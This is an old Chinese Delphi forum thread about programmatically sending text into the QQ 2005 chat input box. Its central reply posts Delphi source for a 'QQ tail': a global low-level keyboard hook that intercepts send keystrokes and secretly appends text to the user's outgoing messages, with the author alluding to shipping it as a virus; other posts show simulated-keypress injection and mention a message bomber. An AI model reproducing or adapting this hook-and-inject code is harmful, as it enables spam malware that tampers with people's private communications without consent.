200分全给你---请教如何向qq2005版QQ发送消息 ( 积分: 200 )

  • 主题发起人 主题发起人 iamgood258
  • 开始时间 开始时间
I

iamgood258

Unregistered / Unconfirmed
GUEST, unregistred user!
用过一些盒子站上的源程序,发现,对现在2005的版本不能实现,主要是文本不能发送到richedit上。所以,想请教各位高手,最好能提供源代码。在下谢谢各位了
 
用过一些盒子站上的源程序,发现,对现在2005的版本不能实现,主要是文本不能发送到richedit上。所以,想请教各位高手,最好能提供源代码。在下谢谢各位了
 
两种方法:
1.findwindow(xxx,nil)
sendmessage...

2.自定义网络封包
 
请详细说说第一种吧
 
网络封包参考一下LUMAQQ 很容易实现的!
做钩子主要是为了写木马类程序吧?
 
这个我做过,用SendMessage 没用的!
给你提个方法:
SetFocus(richedit的句柄); //将焦点设置到QQ的richedit上
{ ---------- 粘贴 ---------- }
keybd_event(VK_CONTROL, 0, 0, 0);//在Richedit发送Ctrl + V,粘贴消息
keybd_event(Byte('V'), 0, 0, 0); //注:你记得先把发送的内容复制起来
keybd_event(Byte('V'), 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP, 0);

{ ---------- 发送 ---------- }
keybd_event($11, 0, 0, 0); //然后发送Ctrl + Enter,把消息发送出去
keybd_event($0D, 0, 0, 0); {回车}
keybd_event($0D, 0, KEYEVENTF_KEYUP, 0);
keybd_event($11, 0, KEYEVENTF_KEYUP, 0)

很简单,在QQ2005上测试成功的!
 
自己写的QQ尾巴的部分代码,楼主看看吧

uses
Windows,SysUtils,Messages,Registry,ShlObj,Types,Classes;
const
LLKHF_ALTDOWN =KF_ALTDOWN shr 8;
WH_KEYBOARD_LL=13; //钩子种类,表示是低级键盘钩子

type
PKBDLLHOOKSTRUCT=^KBDLLHOOKSTRUCT;
{这个结构包含了一个低级键盘钩子的输入事件,
可以捕获键盘输入,具体查看MSDN}
KBDLLHOOKSTRUCT=record
vkCode:DWORD; //虚拟键码
scanCode:DWORD; //扫描码
flags:DWORD; //标志
time:DWORD;
dwExtraInfo:DWORD; //一些附加信息
end;

//------------------发送消息的过程-------------------//
Procedure SendText;
var
mainhwnd:THandle; //聊天主窗体句柄
texhwnd:THandle; //输入框句柄
begin
mainhwnd:=0;
//查找当前的工作状态的窗体,#32770是窗口类
mainhwnd:=FindWindowEx(GetForegroundWindow,mainhwnd,'#32770',nil);
if mainhwnd<>0 then
begin
//查找输入框的句柄
texhwnd:=FindWindowEx(mainhwnd,0,'AfxWnd42',nil);
texhwnd:=FindWindowEx(texhwnd,0,'RICHEDIT',nil);
//如果输入框里没有消息就取消发送
if SendMessage(texhwnd,WM_GETTEXTLENGTH,0,0)<1 then exit;
//取消输入框中文本的选中
SendMessage(texhwnd,EM_SetSel,-1,-1);
//向输入框中加入尾巴
SendMessage(texhwnd,EM_ReplaceSel,1,integer(pchar(' '+'QQ尾巴 by Sirius!')));
end;
end;//----------------------------end.

//-------------------钩子的回调函数----------------//
function KeyHookFunc(nCode:Integer;w_Param:WPARAM;l_Param:LPARAM):LRESULT;stdcall;
const VK_S=83; //Alt+S中的S的虚拟键码,在虚拟键码表上可以查看
var
bGetMsg:Boolean; //判断是否截获指定的消息
pk:PKBDLLHOOKSTRUCT; //键盘钩子的结构体
begin
bGetMsg:=False;
if nCode=HC_ACTION then
begin
case w_Param of //要截获的消息标识符,包括KeyDown和KeyUp
WM_KEYDOWN, {MSDN中有详细说明}
WM_SYSKEYDOWN,
WM_KEYUP,
WM_SYSKEYUP:
begin
//将消息包含的数据装入pk
pk:=PKBDLLHOOKSTRUCT(l_Param);
// 进行按键过滤
bGetMsg :=(((pk^.vkCode = VK_S) and
((pk^.flags and LLKHF_ALTDOWN) <> 0)) or
//上面截获的是Alt+S
((pk^.vkCode = VK_RETURN) and
((GetKeyState(VK_CONTROL) and $8000) <> 0)));
//上面截获的是Ctrl+Enter
end;
end;
end;
if bGetMsg then
begin
SendText; //截获消息后向输入框里加上尾巴
Result:=0; //将消息返回,尾巴就和别人输入的数据一起发送出去了
end
//如果没有截获指定消息就将向下传递
else Result:=CallNextHookEx(0,nCode,w_Param,l_Param);
end;//----------------------------end.

//-------------------------下钩子
KeyHook:=SetWindowsHookEx(WH_KEYBOARD_LL,
@KeyHookFunc,
HInstance,0);
 
自己用SPY++分析一下QQ的聊天窗口就清楚了:
-----#32770—“与 xxxx 交谈中” ---------聊天窗体,即GetForegroundWindow
|----#32770 ------这个就是代码中的mainhwnd
|----RichEdit20A ------显示消息的窗体
|----AfxWnd42 -------这个是第一个texthwnd
| |----RICHEDIT ------我们要找的输入框了即texthwnd
 
mysirius:说得轻巧,其实QQ屏蔽了 SendMessage(texhwnd,EM_ReplaceSel,1,integer(pchar(' '+'QQ尾巴 by Sirius!')));所以你找到窗口是没有用的,用SendMessage它根本不理你,粘贴发送的办法倒是可以,就是太麻烦了一点,而且转的弯太多,程序不精练。
 
hzxhzx123说的对。以前的方法现在好像不能用了!
 
to hzxhzx123,iamgood258:
呵呵,不知道楼上的两位兄弟测试过没有,我是经过测试才这么说的,
不信自己可以试试看到底行不行。
另外,在发送信息的时候使用原来的WM_SetText参数确实是不可以的,但是我使用的
参数是EM_ReplaceSel,测试结果是完全可行的。平台是Win2003+Delphi7+QQ2005.
 
mysirius:对不起,我说话太不负责任了,我没有拿你的代码测试,我以前用SendMessage写过,结果不行,不过我的代码跟你的肯定有些地方不一样。今天测试了一下,还是不行,这个代码必须放在DLL里才能有效果吗?即使从代码看,钩子的回调函数只过滤了键盘,用鼠标点发送就没有效果了?

因为我是在EXE程序里测试代码的,所以我把你的Procedure SendText;提出来了,这样就不用设置键盘钩子了。又因为GetForegroundWindow其实是找前台QQ聊天窗口,我直接找到把QQ聊天窗口句柄2950126赋给它了,结果是失败的!

Procedure SendText;
var
mainhwnd:THandle; //聊天主窗体句柄
texhwnd:THandle; //输入框句柄
begin
mainhwnd:=0;
//查找当前的工作状态的窗体,#32770是窗口类
mainhwnd:=FindWindowEx(2950126,mainhwnd,'#32770',nil); //2950126是我找到的QQ聊天窗口句柄
if mainhwnd<>0 then
begin
//查找输入框的句柄
texhwnd:=FindWindowEx(mainhwnd,0,'AfxWnd42',nil);
texhwnd:=FindWindowEx(texhwnd,0,'RICHEDIT',nil);
//如果输入框里没有消息就取消发送
if SendMessage(texhwnd,WM_GETTEXTLENGTH,0,0)<1 then exit;
//取消输入框中文本的选中
SendMessage(texhwnd,EM_SetSel,-1,-1);
//向输入框中加入尾巴
SendMessage(texhwnd,EM_ReplaceSel,1,integer(pchar(' '+'QQ尾巴 by Sirius!')));
end;
end;//----------------------------end.
 
程序是可以执行的,单步执行一直到
SendMessage(texhwnd,EM_SetSel,-1,-1);
SendMessage(texhwnd,EM_ReplaceSel,1,integer(pchar(' '+'QQ尾巴 by Sirius!')));
它都执行过去了,但QQ聊天窗口没有增加什么。

我测试是QQ2005Bate2+WindowXPsp2+Delphi7.0

莫非你的代码是插入QQ进程的?
 
mysirius 给个源码吧,可以用分换,谢谢!!

可以的话E-mail:fanruowu@163.com
 
to hzxhzx123:
我的代码只是监视了键盘,没有对鼠标点击“发送”按钮进行Hook,因为那样要用到鼠标钩子,就必须用dll实现(我只会这样,觉得病毒带个dll很不爽),而键盘钩子只要放在exe文件里就可以实现一些全局钩子。试验证明是可行的。
代码我放到Blog上去了,大家自己去看吧:
http://blog.77169.com/more.asp?name=SX_Sirius&id=35183
代码写的很垃圾,希望大家多给提一些意见,谢谢。。
小弟对这方面比较赶兴趣,希望能和同道的朋友多交流。
 
我再说mysirius要骂我了,为什么我用你的代码测试不成功,有兴趣的话我们QQ上聊吧。QQ:14341376
 
多人接受答案了。
 
我写了一个QQ2005正式版的消息炸弹,好使~~
 

Similar threads

D
回复
0
查看
2K
DelphiTeacher的专栏
D
D
回复
0
查看
2K
DelphiTeacher的专栏
D
D
回复
0
查看
1K
DelphiTeacher的专栏
D
D
回复
0
查看
2K
DelphiTeacher的专栏
D
D
回复
0
查看
1K
DelphiTeacher的专栏
D
后退
顶部